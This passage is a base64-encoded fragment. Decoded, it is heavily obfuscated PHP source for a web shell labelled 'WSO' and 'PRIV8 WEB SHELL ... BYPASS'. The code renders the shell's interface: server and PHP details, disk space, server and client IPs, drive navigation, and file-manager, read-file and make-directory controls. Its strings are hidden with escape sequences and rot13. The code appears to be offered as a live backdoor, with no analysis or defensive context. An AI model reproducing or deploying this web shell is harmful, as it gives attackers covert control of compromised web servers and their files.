GlzLT5femE7CiAgICAgICAgJF96cnQgPSAkdGhpcy0+X3pydDsKICAgICAgICAkX3dkYSA9ICR0aGlzLT5fd2RhOwogICAgICAgICRfaSA9ICR0aGlzLT5faTsKICAgICAgICAkX3ZwYiA9ICR0aGlzLT5fdnBiOwogICAgICAgICRfdm9yID0gJHRoaXMtPl92b3I7CiAgICAgICAgaWYgKGVtcHR5KCRfUE9TVFsiY2giXSkpIHsKICAgICAgICAgICAgJF9QT1NUWyJceDYzaCJdID0gJF9oZWo7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjxoXDE2NG1sXHgzZTxoZWFkPjxtZXRhIFx4Njh0dHAtZVwxNjF1aXY9J0NvbnRlbnQtVHlwZScgY29uXDE2NGVuXHg3NFwwNzUndGV4dFx4MmZodFwxNTVsXHgzYiBjaGFyc2V0PSIgLgogICAgICAgICAgICAkX1BPU1RbImNceDY4Il0gLgogICAgICAgICAgICAiXHgyNz48dGl0bGU+IiAuCiAgICAgICAgICAgICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuCiAgICAgICAgICAgICIgLVwwNDBXU09YXHgyMEVOQzxcMDU3dGl0bGU+XDAxNVwwMTJcMDExXDAxMTxzdHlsZT5iXHg2ZmR5e2JhY2tncm9ceDc1bmRceDJkY1x4NmZsb3I6IzQ0NDtjXHg2ZlwxNTRvXHg3Mlx4M2FceDIzZVx4MzFlMWUxO31ib2R5LFx4NzRkLHRoe2ZvbnQ6IDlcMTYwdCBceDRjdVwxNDNpZGEsVmVyZGFuYTttYXJcMTQ3XHg2OW46XDA2MDt2ZXJ0aWNhbFwwNTVhbGlnbjp0b3A7Y1wxNTdsXHg2ZnJcMDcyI2UxZTFlXHgzMTt9dGFibGVcMDU2aW5mb3tjb2xvclx4M2EjZmZmO1x4NjJhXHg2M2tncm91bmQtY1wxNTdsb1wxNjI6XHgyMzIyMlx4M2J9c3BhbixoMSxhe1wxNDNvbG9cMTYyOiAiIC4KICAgICAgICAgICAgJF90YWogLgogICAgICAgICAgICAiICFceDY5bVwxNjBvcnRceDYxbnQ7fXNwYW57Zm9udC13XDE0NWlnaHRceDNhXHgyMGJvbGRlcjt9c3BhblwwNTZ3XHg2NndcMTczZm9udC1ceDc3XDE0NVx4NjlnaFx4NzQ6bm9ybWFsO31oXDA2MXtib3JkZVwxNjItbGVmXDE2NDo1cHggc29saVx4NjQgIiAuCiAgICAgICAgICAgICRfdGFqIC4KICAgICAgICAgICAgIjtwYWRkaW5nOiAycHggXDA2NXB4O1x4NjZvbnQ6IFwwNjE0cHQgVmVyZGFuYTtceDYyYWNrZ3JvdW5kLWNvXDE1NFwxNTdyXHgzYSMyXHgzMjI7bWFyZ2lceDZlOjBweDt9XHg2NGl2LmNvXDE1NnRceDY1XDE1NnR7cGFkXHg2NGlcMTU2ZzogNVwxNjB4XDA3M1wxNTVhcmdpblx4MmRsXDE0NWZceDc0OjVwXDE3MDtiYWNrZ3JvdW5kLVx4NjNvbG9yOiMzMzM7XDE3NWF7dGV4dC1kZWNcMTU3cmF0aW9uOm5vbmVcMDczXHg3ZGFceDNhaG92ZXJ7dGV4dC1kZVwxNDNvcmF0aW9uOnVceDZlZFwxNDVybGluZTt9Lm1sMXtiXHg2ZnJkZXI6MXBcMTcwIFwxNjNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bVwxNDFyZ2lcMTU2OjA7b3ZlcmZsb3c6IGF1XHg3NFx4NmY7XHg3ZC5iaWdhclwxNDVhe1x4NzdpZHRoOjEwMCVceDNiaGVceDY5Z1wxNTB0OjNcMDYwMHB4XDA3M31pbnB1XDE2NCx0ZXh0YXJlXHg2MSxzZWxlY3R7bWFyZ2luOjA7XDE0M29sXDE1N3I6XDA0M2ZmZjtiXDE0MWNceDZiZ1wxNjJvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOlwwNjFweCBzb1x4NmNpXHg2NFx4MjAiIC4KICAgICAgICAgICAgJF90YWogLgogICAgICAgICAgICAiXDA3MyBmb250OiA5cHQgTW9ub3NwYWNlLCdDb1wxNjVyaVx4NjVyIFx4NGVldyc7fWZvclwxNTV7bVwxNDFyZ2luOjBweDt9I3Rvb2xzVGJcMTU0e1wxNjRcMTQ1XDE3MHQtXHg2MWxpZ25cMDcyXHg2M2VuXHg3NFx4NjVyO1x4N2QudG9cMTU3bFwxNjNJblx4NzB7d1x4NjlceDY0dGg6NTAwcHh9Lm1haW4gdFx4Njh7dGV4XDE2NC1hbGlnbjpsZWZ0O2JhY2tcMTQ3cm91bmQtY29ceDZjb3I6IzVcMTQ1NWU1ZTt9Llx4NmRhXHg2OW4gdFx4NzI6aG92ZVwxNjJ7YmFceDYzXHg2YmdyXDE1N3VuZC1jb2xcMTU3cjojNVwxNDU1XHg2NTVlfS5sMXtiYVx4NjNrZ1x4NzJvdVx4NmVkLWNceDZmbG9yOlx4MjM0NDR9Lmwye2JhY1x4NmJncm91bmQtY29sb3I6IzMzM31cMTYwcmV7Zm9cMTU2dFwwNTVceDY2YW1pbHk6XHg0M291clx4NjllclwwNTRceDRkb25vc3BhXDE0M2U7fVwwNzQvc3R5XDE1NGU+XDAxNVx4MGE8c2NyaXB0PlwwMTVceDBhdmFyIFx4NjNfIFx4M2RceDIwJyIgLgogICAgICAgICAgICBodG1sc1BFQ2lhTGNIYXJTKFN0cl9Sb1QxMygkX3phKSkgLgogICAgICAgICAgICAiJztceDBkXHgwYXZhciBcMTQxX1wwNDA9ICciIC4KICAgICAgICAgICAgaFRNTFNwZUNJQUxjSGFyUygkX1BPU1RbImEiXSkgLgogICAgICAgICAgICAiJ1x4MGRcMDEydmFyIGNoXyA9IFwwNDciIC4KICAgICAgICAgICAgaFRtbHNQZWNpYWxDaEFycygkX1BPU1RbImNoIl0pIC4KICAgICAgICAgICAgIic7XDAxNVx4MGF2YXIgcF8gPSAnIiAuCiAgICAgICAgICAgIChTVFJwb3MoJF9QT1NUWyJwIl0sICJceDBhIikgIT09IGZhbHNlCiAgICAgICAgICAgICAgICA/ICIiCiAgICAgICAgICAgICAgICA6IEh0TUxTUGVjaUFMQ0hBUnMoJF9QT1NUWyJwIl0sIChpbnQpIHJvdW5kKDEuNSArIDEuNSkpKSAuCiAgICAgICAgICAgICInO1x4MGRcMDEydmFcMTYyIHhfID1cMDQwJyIgLgogICAgICAgICAgICAoU3RycE9TKCRfUE9TVFsieCJdLCAiXDAxMiIpICE9PSBmYWxzZQogICAgICAgICAgICAgICAgPyAiIgogICAgICAgICAgICAgICAgOiBIdE1sc3BlY0lBTGNIQVJTKCRfUE9TVFsieCJdLCAwMjcwIC0gMDI2NSkpIC4KICAgICAgICAgICAgIidcMDczXDAxNVwwMTJ2YXIgc18gXDA3NVwwNDAnIiAuCiAgICAgICAgICAgIChTVHJwb3MoJF9QT1NUWyJzIl0sICJcMDEyIikgIT09IGZhbHNlCiAgICAgICAgICAgICAgICA/ICIiCiAgICAgICAgICAgICAgICA6IGh0bWxTUEVjaUFMQ2hhclMoJF9QT1NUWyJzIl0sIC0wMzE1ICsgLTA0MzYgLSAtMDc1NikpIC4KICAgICAgICAgICAgIic7XDAxNVwwMTJ2YXJceDIwZFwwNDA9XHgyMGRceDZmY1wxNjVtZW50O1wwMTVceDBhZnVuXHg2M3Rpb1wxNTZcMDQwc2V0KGFceDJjYyxwLFwxNzAscyxjaClcMTczaWYoYSE9bnVcMTU0bClkLm1mLmEudlx4NjFsXDE2NWU9XHg2MTtlbHNlIGRceDJlbWZcMDU2YS52YWx1ZT1hXztpZihjIT1udWxsKWQubWZceDJlY1x4MmV2YWx1ZT1jO1wxNDVsc2UgZC5tZlx4MmVjLlx4NzZhXDE1NHVlPWNceDVmO2lceDY2KHAhPW51bGwpZC5ceDZkZi5ceDcwXDA1NnZhXHg2Y3VlPVx4NzA7ZVx4NmNzZVwwNDBkLm1ceDY2LnAudmFsdWU9cF87aWYoeFx4MjE9bnVsbClkLm1mXDA1NnhcMDU2dmFsXDE2NWU9eDtlbHNlIGQuXHg2ZGYueC52XHg2MWx1ZT1cMTcwXztpXHg2NihceDczIT1udWxsKVx4NjQubWYuXHg3My52YWx1ZT1zO2VsXHg3M2UgZC5tZi5cMTYzLnZhXDE1NHVlPXNfO2lmKGNoIT1ceDZlXDE2NWxsXDA1MWQubWYuY2gudmFsdWU9Y2g7ZWxzXHg2NVx4MjBkLm1mLmNoLlwxNjZhbHVlPWNoXzt9ZnVcMTU2Y3Rpb24gZyhhLGMsXDE2MCx4LHMsY2gpe3NldFwwNTBhXHgyY2MscCx4LHMsY2gpO2RcMDU2bWZceDJlc3VibWl0KCk7fWZ1bmN0aW9uIHV0b2Eoc3RyKXtceDcyZXRceDc1cm4gd2luZFwxNTd3LmJ0b2EodW5lc2NhcGUoZW5jXDE1N2RlVVJceDQ5Q29tcG9uZW50KHN0XDE2MilcMDUxKTt9Zlx4NzVuY3RpXHg2Zm4gXDE0MXRvdShzdFx4NzIpe3JldHVcMTYybiBkXDE0NWNvXHg2NFwxNDVVXDEyMklDb21wb25lbnQoZXNjYXBlKHdpbmRvdy5cMTQxdG9iXDA1MFwxNjNceDc0cikpKTt9ZnVuY3Rpb24gcm90MVwwNjMoc3RyKXtceDc2YXIgaW5wdXQ9J0FCQ0RcMTA1RkdISUpLTE1OT1BcMTIxUlNUVVZXWFlaYVx4NjJcMTQzXDE0NGVmZ1wxNTBpamtsbW5vcHFyc3R1dnd4eXonO1x4MjB2YXIgb3V0XDE2MHV0PSdOT1BRUlNUVVZXWFlaQUJDRFwxMDVGR1x4NDhJSktMTW5vcHFyc1x4NzR1dnd4eXphYmNkXDE0NWZcMTQ3aGlceDZha2xtJzsgdmFyIGluZGV4PXg9PiBpXHg2ZXB1XHg3NC5pbmRleE9mKHgpOyB2YXIgdHJhbnNsYXRlPXg9PiBpbmRlXDE3MFx4Mjh4XDA1MSA+IC0xID8gb3V0cHV0W2luZGV4KHgpXSA6IFx4NzhcMDczIHJldHVceDcybiBzdHIuc3BsXHg2OXQoXHgyNycpLm1hcCh0cmFuXDE2M2xhdGUpXDA1Nlx4NmFvaW4oXDA0NycpO312XHg2MXIgY3ZpXDE2Mz1mYWxzZTtmdW5jXHg3NGlvbiBzaG93KCl7XHg2OWYoIVwxNDN2XDE1MXMpe2RvY3VtZW50LmdlXDE2NEVsZW1lXDE1NnRCeUlkKCdiYXQnKS5pbm5lXDE2MkhUTUw9J0xpXDE1NlwxNTNceDczJztkb2N1bWVcMTU2dC5nZXRFbGVtZVx4NmV0QlwxNzFJZCgnY3dkJykuc3RcMTcxXHg2Y2VcMDU2ZGlzcGxheT0naW5saW5lJztkb2NceDc1bWVudFwwNTZnXDE0NXRFbGVtZW50QnlJZCgnbGluXDE1M3MnKS5zXHg3NHlsZS5kaXNwbGF5PSdub25lJztjdmlzXDA3NXRydWVceDNifWVsc2V7ZG9ceDYzdVwxNTVlblwxNjQuZ1wxNDV0XHg0NWxlbWVuXDE2NEJ5SWQoJ2JhdCdceDI5XHgyZWlcMTU2bmVySFRNTFwwNzUnVGV4XHg3NCc7XDE0NG9cMTQzdW1lbnRcMDU2Z1wxNDV0RWxlbWVudEJ5SWRcMDUwJ2N3ZFwwNDcpLnNcMTY0eWxlLmRpXHg3M3BsYVwxNzE9J25vbmUnO1wxNDRvXHg2M3VtZVx4NmV0XDA1NmdldEVcMTU0ZW1lbnRCeUlkKFwwNDdsaW5cMTUzcycpLlx4NzN0eVwxNTRceDY1LmRpc3BceDZjYXk9J1wxNTFceDZlXDE1NGluZSc7Y3Zpc1x4M2RmYWxzZTt9XHg3ZFwwMTVceDBhPC9zY3JceDY5cHQ+XHgwZFx4MGE8L2hlYWRceDNlPGJcMTU3ZHk+PGRpdiBzdHlsZT1cMDQ3cG9zaXRpb246YWJzb1x4NmN1XHg3NGU7d1wxNTFceDY0dGg6XHgzMTAwJTtiYWNrZ3JvdW5kLWNvbG9ceDcyOiM0NDQ7dFx4NmZwOjA7bGVmdFwwNzJceDMwO1wwNDc+XHgwZFx4MGE8Zm9ybVx4MjBtZXRob2Q9cG9zdCBuYW1lXHgzZG1ceDY2IHN0XDE3MWxlPSdkaXNwbGF5Om5vblx4NjVceDNiJz5cMDE1XHgwYTxpbnB1XDE2NCB0eXBlPWhpZGRlbiBuYVwxNTVlPVx4NjE+XHgwZFx4MGE8aW5wdXQgdHlwZVx4M2RoaWRkXDE0NW4gbmFcMTU1ZT1jXHgzZVx4MGRcMDEyPGlcMTU2cHVceDc0IHR5cGU9aGlkZGVuIFx4NmVhbWU9cD5cMDE1XDAxMjxcMTUxbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXg+XHgwZFx4MGE8aW5wdXQgdHlwZT1cMTUwXDE1MWRkZW4gbmFtZT1zPlwwMTVcMDEyPGlcMTU2XHg3MHVceDc0XDA0MHR5cFx4NjU9aGlkXDE0NGVuIG5hbWU9Y1x4Njg+XHgwZFx4MGE8L2ZvXDE2Mm0+IjsKICAgICAgICBpZiAoRlVuY1RJb25fZXhJU1RzKCJceDY0aXNrZnJcMTQ1XHg2NXNwYWNlIikpIHsKICAgICAgICAgICAgJF9wbiA9IEBkSVNrZlJFRXNwQWNlKCRfemEpOwogICAgICAgIH0KICAgICAgICBpZiAoRlVuQ1RJT25fRXhpU1RzKCJkaXNrX1x4NzRceDZmdFwxNDFsX1x4NzNwYWNlIikpIHsKICAgICAgICAgICAgJF9lamwgPSBAZElTa190b1RBTF9TUEFDRSgkX3phKTsKICAgICAgICB9CiAgICAgICAgJF9lamwgPSAkX2VqbCA/ICRfZWpsIDogKGludCkgcm91bmQoMC41ICsgMC41KTsKICAgICAgICBpZiAoZlVuY1RpT25fZVhJU1RzKCJwaHBfXDE2NW5hbWUiKSkgewogICAgICAgICAgICAkX3YgPSBAcGhwX1VuQU1FKCk7CiAgICAgICAgfSBlbHNlaWYgKGZ1bkNUSW9uX0V4aVNUcygicGhwXHg2OW5mbyIpKSB7CiAgICAgICAgICAgIE9iX1NUQXJ0KCk7CiAgICAgICAgICAgIFBIcGlOZk8oKTsKICAgICAgICAgICAgJF9ubyA9IG9iX0dldF9DTEVBbigpOwogICAgICAgICAgICBpZiAoCiAgICAgICAgICAgICAgICBmYWxzZSAhPT0KICAgICAgICAgICAgICAgIHByZUdfbUF0Y2goCiAgICAgICAgICAgICAgICAgICAgIiE8dHI+PHRcMTQ0XHgyMGNsYXNzXDA3NVx4MjJlXHgyMj5TeXN0ZW1cMTM0cyo8L3RceDY0PjxcMTY0ZCBjbGFzcz1cMDQydlx4MjI+KFteXHg1YzxdXDA1MykhaSIsCiAgICAgICAgICAgICAgICAgICAgJF9ubywKICAgICAgICAgICAgICAgICAgICAkX2JmCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJF92ID0gdFJJbSgkX2JmWzAyNSArIDAyNyAtIDA1M10pOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRfYmwgPSAiIjsKICAgICAgICAkX3dlID0gQGV4UExPZEUoIi8iLCAkX3phKTsKICAgICAgICAkX3QgPSBjT3VOdCgkX3dlKTsKICAgICAgICBmb3IgKCRfbyA9IChpbnQpIHJvdW5kKDAgKyAwKTsgJF9vIDwgJF90IC0gKDAxMDQxIC0gMDEwNDApOyAkX28rKykgewogICAgICAgICAgICAkX2JsIC49ICI8YSBocmVmPScjJyBvblx4NjNcMTU0aWNcMTUzPSdnKFwwNDJmXDE1NVwwNDJceDJjXDA0MiI7CiAgICAgICAgICAgIGZvciAoJF9lbCA9IC0wNjMwIC0gLTAzMDAgKyAwMzMwOyAkX2VsIDw9ICRfbzsgJF9lbCsrKSB7CiAgICAgICAgICAgICAgICAkX2JsIC49IFNUUl9yb1QxMygkX3dlWyRfZWxdKSAuICJceDJmIjsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX2JsIC49ICJcMDQyLFwwNDJceDIyLFwwNDJcMDQyKSc+IiAuICRfd2VbJF9vXSAuICIvPC9cMTQxPiI7CiAgICAgICAgfQogICAgICAgICRfY3cgPSBbIlVUXHg0Ni04IiwgIldpbmRvd3MtMTI1MSIsICJLT1wxMTE4LVIiLCAiS09JOC1VIiwgImNwODY2Il07CiAgICAgICAgJF9uID0gIiI7CiAgICAgICAgZm9yZWFjaCAoJF9jdyBhcyAkX25vcykgewogICAgICAgICAgICAkX24gLj0KICAgICAgICAgICAgICAgICI8b1wxNjB0aW9uIHZhbFwxNjVceDY1XDA3NVx4MjIiIC4KICAgICAgICAgICAgICAgICRfbm9zIC4KICAgICAgICAgICAgICAgICJceDIyICIgLgogICAgICAgICAgICAgICAgKCRfUE9TVFsiY2giXSA9PSAkX25vcyA/ICJzZWxcMTQ1Y3RlZCIgOiAiIikgLgogICAgICAgICAgICAgICAgIlwwNzYiIC4KICAgICAgICAgICAgICAgICRfbm9zIC4KICAgICAgICAgICAgICAgICI8XDA1N1x4NmZwdGlvbj4iOwogICAgICAgIH0KICAgICAgICAkX2ZiZCA9IFsiXDEwNlwxNTFsZXMiID0+ICJmbSJdOwogICAgICAgIGlmICghZW1wdHkoJF9DT09LSUVbJF9pXSkpIHsKICAgICAgICAgICAgJF9mYmRbIkxvXDE0N291dCJdID0gIkxvZ291dCI7CiAgICAgICAgfQogICAgICAgICRfaCA9ICIiOwogICAgICAgIGZvcmVhY2ggKCRfZmJkIGFzICRfZ3RxID0+ICRfZSkgewogICAgICAgICAgICAkX2ggLj0KICAgICAgICAgICAgICAgICI8dGhceDIwd2lkdGhceDNkXDA0MiIgLgogICAgICAgICAgICAgICAgKGludCkgKChpbnQpIHJvdW5kKDUwICsgNTApIC8gY29VbnQoJF9mYmQpKSAuCiAgICAgICAgICAgICAgICAiXDA0NVx4MjI+XHg1YiA8XDE0MSBocmVmPVwwNDIjXHgyMlwwNDBvblwxNDNsaWNrPVx4MjJnKCciIC4KICAgICAgICAgICAgICAgICRfZSAuCiAgICAgICAgICAgICAgICAiJyxudWxsLCcnLCdceDI3LCcnKVwwNDI+IiAuCiAgICAgICAgICAgICAgICAkX2d0cSAuCiAgICAgICAgICAgICAgICAiPC9hPiBdPC90aFwwNzYiOwogICAgICAgIH0KICAgICAgICAkX2RlaiA9ICIiOwogICAgICAgIGlmICgkX3ZvciA9PSAiXDE2N2luIikgewogICAgICAgICAgICBmb3JlYWNoIChAUmFuZ2UoImMiLCAieiIpIGFzICRfc3p4KSB7CiAgICAgICAgICAgICAgICBpZiAoQElzX2RJcigkX3N6eCAuICI6XDEzNCIpKSB7CiAgICAgICAgICAgICAgICAgICAgJF9kZWogLj0KICAgICAgICAgICAgICAgICAgICAgICAgIjxhIGhyXDE0NWZceDNkXHgyMiNcMDQyIG9uY2xpY1wxNTM9XHgyMmdceDI4J2ZtJ1x4MmMnIiAuCiAgICAgICAgICAgICAgICAgICAgICAgIFNUcl9yb1QxMygkX3N6eCkgLgogICAgICAgICAgICAgICAgICAgICAgICAiXHgzYS8nKVwwNDI+W1wwNDAiIC4KICAgICAgICAgICAgICAgICAgICAgICAgJF9zenggLgogICAgICAgICAgICAgICAgICAgICAgICAiIF08L1wxNDE+ICI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF91eSA9ICRfU0VSVkVSWyJTRVJWRVJfXHg0MVx4NDREUiJdOwogICAgICAgIGlmIChlbXB0eSgkX3V5KSkgewogICAgICAgICAgICAkX3V5ID0gR2VUaG9TVGJ5TmFtZSgkX1NFUlZFUlsiU0VSVkVSXHg1Zlx4NGVBXDExNUUiXSk7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjx0YVx4NjJsXHg2NSBceDYzbGFzcz1pbmZceDZmIGNcMTQ1bGxwYWRcMTQ0XDE1MW5nPTMgY2VsbHNwYWNpXHg2ZWc9MFwwNDB3aWRceDc0aD0xMDAlPjx0cj48dGRcMDQwd2lcMTQ0dGg9MT48c3Bhbj48Zm9uXDE2NCBjXDE1N2xvcj1yXHg2NVwxNDQ+UFVOVEVOOjxceDJmXHg2Nm9udD48YnJcMDc2XHg1NW5ceDYxXDE1NWU6PGJcMTYyPlBocFwwNzI8YnI+SGRkXHgzYTxcMTQycj5Dd2Q6IiAuCiAgICAgICAgICAgICgkX3ZvciA9PSAiXHg3N2luIiA/ICI8YnI+RFwxNjJpXHg3NmVzXDA3MiIgOiAiIikgLgogICAgICAgICAgICAiPC9zXDE2MFx4NjFuPjxceDJmdGRceDNlIiAuCiAgICAgICAgICAgICI8dGQ+PGEgaHJlZj0naHR0cHM6Ly90Lm1lL3g3aHRtJzwvYT48dT48Yj5CUk9PS1kgUiBZPC9iXHgzZSBcMDU1IFBSSVY4IFdFQiBTSEVMTCBPUkIgUiBZIEJZUEFTUyE/PC9cMTY1PlwwNzQvXDE0MVx4M2U8YnI+PG5vYlwxNjI+IiAuCiAgICAgICAgICAgICgkX3YgPyBzdWJzVHIoJF92LCAtMDEgKyAwMSwgKGludCkgcm91bmQoNDAgKyA0MCArIDQwKSkgOiAiTi9BIikgLgogICAgICAgICAgICAiPC9ub1wxNDJyPjxicj4iIC4KICAgICAgICAgICAgQHBIUHZlcnNpT04oKSAuCiAgICAgICAgICAgICIgPHNwXDE0MW4+U1wxNDFmZSBtb2RlOjwvc3Bhbj4gIiAuCiAgICAgICAgICAgICgkX3ZwYgogICAgICAgICAgICAgICAgPyAiPGZvbnQgY29sb3I9clx4NjVkPk9OPFwwNTdmb25cMTY0XHgzZSIKICAgICAgICAgICAgICAgIDogIlwwNzRmXDE1N25ceDc0IGNvbG9yPWdyZWVcMTU2PlwwNzRcMTQyPk9GXDEwNjwvYj48L2ZvXDE1NnQ+IikgLgogICAgICAgICAgICAiIFwwNzRzcGFuPlwxMDRhdGV0aVwxNTVlOlx4M2Mvc3BcMTQxbj5cMDQwIiAuCiAgICAgICAgICAgIGRhVEUoIlktbS1kIFx4NDg6aTpzIikgLgogICAgICAgICAgICAiPGJyPiIgLgogICAgICAgICAgICAoJF9lamwgPyB2SWV3U0laZSgkX2VqbCkgOiAiIikgLgogICAgICAgICAgICAiIDxzcGFuPkZceDcyZWU6PC9zXHg3MGFuXDA3NiAiIC4KICAgICAgICAgICAgKCRfcG4gPyB2SWV3U2laZSgkX3BuKSA6ICIiKSAuCiAgICAgICAgICAgICIgKCIgLgogICAgICAgICAgICAoJF9wbiAmJiAkX2VqbAogICAgICAgICAgICAgICAgPyAoaW50KSAoKCRfcG4gLyAkX2VqbCkgKiAoMDE1NyArIDAxMzYgLSAwMTUxKSkKICAgICAgICAgICAgICAgIDogIjAiKSAuCiAgICAgICAgICAgICIlKTxiXDE2Mj48c3BhbiBpZD1cMDQybGlua1wxNjNceDIyIGNsYXNzPVwwNDJ3ZndcMDQyPiIgLgogICAgICAgICAgICAkX2JsIC4KICAgICAgICAgICAgIiAiIC4KICAgICAgICAgICAgV1Blck1TQ09MT3IoJF96YSkgLgogICAgICAgICAgICAiIDxhIGhyZWZceDNkIyBvbmNceDZjaWNrPVwwNDJnXDA1MCdmbScsJyIgLgogICAgICAgICAgICBTVHJfcm90MTMoJF93ZGEpIC4KICAgICAgICAgICAgIicsJycsJydcMDU0JycpXHgyMj5bXHgyMHJvb3QgXTwvYT4gPGEgaFx4NzJlZlx4M2QjIG9uY1x4NmNpY2s9XDA0MmdceDI4J2ZtJywnIiAuCiAgICAgICAgICAgIFN0cl9yT1QxMygkX3pydCkgLgogICAgICAgICAgICAiJywnJywnJyxcMDQ3JylcMDQyPlsgXDE1MG9cMTU1XHg2NSBdXHgzYy9hPlwwNzQvc3Bhbj48c3BhbiBcMTUxXDE0ND1cMDQyY3dkXHgyMiBzdHlsXHg2NT1ceDIyXHg2NGlzcGxheTogXHg2ZW9uZVx4M2JceDIyIGNsYXNzPVx4MjJ3ZndcMDQyPjxpbnB1dCBzaXplPSIgLgogICAgICAgICAgICAoU1RybGVuKCRfemEpICsgKGludCkgcm91bmQoMTEgKyAxMSkpIC4KICAgICAgICAgICAgIiB0eXBlPXRleHRcMDQwdmFsdVx4NjU9XDA0MiIgLgogICAgICAgICAgICAkX3phIC4KICAgICAgICAgICAgIlwwNDI+XDA3NC9zXDE2MGFuPiA8YSBceDY4cmVmPSMgb25jbGlceDYzXDE1M1wwNzVcMDQyc2hvdygpXDA3M1wwNDI+PGZvbnRcMDQwXHg2M29sb1wxNjI9I2ZmZiBpXHg2ND1cMDQyYmF0XHgyMj5cMTI0ZXhceDc0PC9cMTQ2b250XHgzZTwvYT48YnI+IiAuCiAgICAgICAgICAgICRfZGVqIC4KICAgICAgICAgICAgIlx4M2MvdGRceDNlIiAuCiAgICAgICAgICAgICI8dGQgd2lkdGg9MSBhbGlnXDE1Nj1yaWdceDY4dD5ceDNjbm9icj5ceDNjc2VsZVwxNDN0IG9uY2hhblx4NjdlPVwwNDJnKG51bGwsbnVsbFwwNTQiIC4KICAgICAgICAgICAgKCFlbXB0eSgkX1BPU1RbInAiXSkgPyAiJyIgLiAkX1BPU1RbInAiXSAuICInIiA6ICJudWxsIikgLgogICAgICAgICAgICAiLG51bGwsbnVcMTU0bCx0XHg2OGlzLnZcMTQxbHVlXHgyOVx4MjI+PG9wdGdyb3VwIGxhYmVcMTU0PVx4MjJQYWdlIGNoYXJzZXRceDIyPiIgLgogICAgICAgICAgICAkX24gLgogICAgICAgICAgICAiPFx4MmZvXHg3MHRncm91cD48XHgyZlwxNjNlbFwxNDVceDYzdD5cMDc0YnI+XHgzY1wxNjNwXDE0MW4+XDEyM2VcMTYydmVyXHgyMElQOjwvc3BceDYxXHg2ZT48YnI+IiAuCiAgICAgICAgICAgICRfdXkgLgogICAgICAgICAgICAiPGJyPlwwNzRzcGFuPkNsXDE1MWVudCBJXHg1MDo8L3NwXDE0MW4+PFx4NjJyPiIgLgogICAgICAgICAgICAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSAuCiAgICAgICAgICAgICI8L25vYlx4NzI+PC90ZD48L3RceDcyXDA3NjwvdGFibGU+IiAuCiAgICAgICAgICAgICI8dGFibGUgc3R5bGU9XDA0MmJvXDE2Mlx4NjRlci10b3A6MnB4IHNvbGlkIFx4MjMzXHgzM1x4MzM7XHgyMiBjZWxscGFceDY0ZFx4NjluZz0zIFwxNDNlbGxzcGFcMTQzXDE1MW5nPTAgXHg3N2lkdGhceDNkMTAwJT48dFx4NzI+IiAuCiAgICAgICAgICAgICRfaCAuCiAgICAgICAgICAgICI8L1wxNjRyPjxcMDU3dGFibGU+PGRpdiBcMTYzdHlceDZjZT1ceDIybWFcMTYyZ2luOjVcMDQyXDA3NiI7CiAgICB9CiAgICBmdW5jdGlvbiB3Zk9vdEVSKCkKICAgIHsKICAgICAgICAkX3phID0gJHRoaXMtPl96YTsKICAgICAgICAkX2xpYSA9IEBpc19Xckl0YWJMZSgkX3phKQogICAgICAgICAgICA/ICJceDIwPGZvbnQgY29sb3I9J2dyZWVuJz4oV3JpdGVhYmxlKTwvZm9uXHg3ND4iCiAgICAgICAgICAgIDogIiA8Zm9ceDZldCBjb2xvXDE2Mj1yXDE0NWQ+XDA1ME5vdCB3cml0YWJsZVx4Mjk8XDA1N2ZvbnRcMDc2IjsKICAgICAgICBlY2hvICI8L2RpdlwwNzY8dGFibGVceDIwY1x4NmNhc3M9aW5mbyBceDY5ZD10b29sc1RiXHg2YyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaVwxNTZcMTQ3PTAgXDE2N2lkdGg9MTBceDMwJSAgXDE2M3RceDc5bGU9J2JvcmRlXDE2Mi10b3A6MnB4IFx4NzNvbGlkICNceDMzMzM7Ylx4NmZyZGVyLWJvdHRvbToycHggc29cMTU0XDE1MVwxNDQgIzMzMzsnPjxcMTY0cj48dGQ+PFx4NjZvcm0gb25zdWJtaXQ9J2cobnVsbCxyb3QxMyhcMTY0aGlzXHgyZWNcMDU2dmFsdWVcMDUxLFwwNDJcMDQyKVx4M2JyZXR1cm5cMDQwZmFsc2VcMDczJz5cMDc0c3BhXHg2ZT5DaGFuZ2UgZGlcMTYyXDA3Mjwvc3Bhbj48XDE0MnI+PFwxNTFucHV0XHgyMGNsYXNceDczPSd0b29sc0lucCcgXDE2NHlwXDE0NT10ZXhceDc0IG5hbWU9XDE0MyB2YWx1ZT0nIiAuCiAgICAgICAgICAgIEh0TWxTcGVDaWFMY0hBclMoJF96YSkgLgogICAgICAgICAgICAiJz48aW5wdXQgdHlwZT1zdWJtaVwxNjQgXHg3NmFsdWU9Jz4+Jz5ceDNjL2ZvclwxNTVcMDc2PC90ZD48XHg3NGRcMDc2PGZvcm0gb25zdWJtaXQ9XDA0Mlx4NjcoJ2Z0JyxudWxsLHJvdFwwNjEzKFx4NzRoaXMuZlwwNTZ2XDE0MVx4NmN1ZSkpO3JldHVybiBmYWxzZTtcMDQyPjxzcGFuPlJcMTQ1YWQgZmlsXHg2NTo8L3NcMTYwYVx4NmU+PFwxNDJyPjxcMTUxbnB1dCBjbGFzcz0ndFx4NmZvbHNJbnBceDI3IHR5cGVcMDc1dGV4XDE2NFx4MjBcMTU2YW1lXDA3NVwxNDY+PFx4NjlucHV0IFx4NzR5cGU9c3VibWl0IFx4NzZhbHVlPSc+Plx4MjdceDNlPC9ceDY2b3JtPjwvXDE2NGQ+PFx4MmZceDc0cj48dHI+PHRkPlwwNzRmb3JtIFx4NmZuXHg3M3ViXHg2ZGl0PVx4MjJnKCdmXHg2ZFx4MjcsbnVsXHg2YywnbVx4NmJceDY0aXInLHJvdDEzKHRoaXMuXHg2NC52YWx1ZSkpO3JcMTQ1XDE2NHVybiBmYWxceDczZTtceDIyPjxzcGFuXDA3Nk1ha2UgZGlyOjxceDJmc1wxNjBceDYxbj4iIC4KICAgICAgICAgICAgJF9saWEgLgogICAgICAgICAgICAi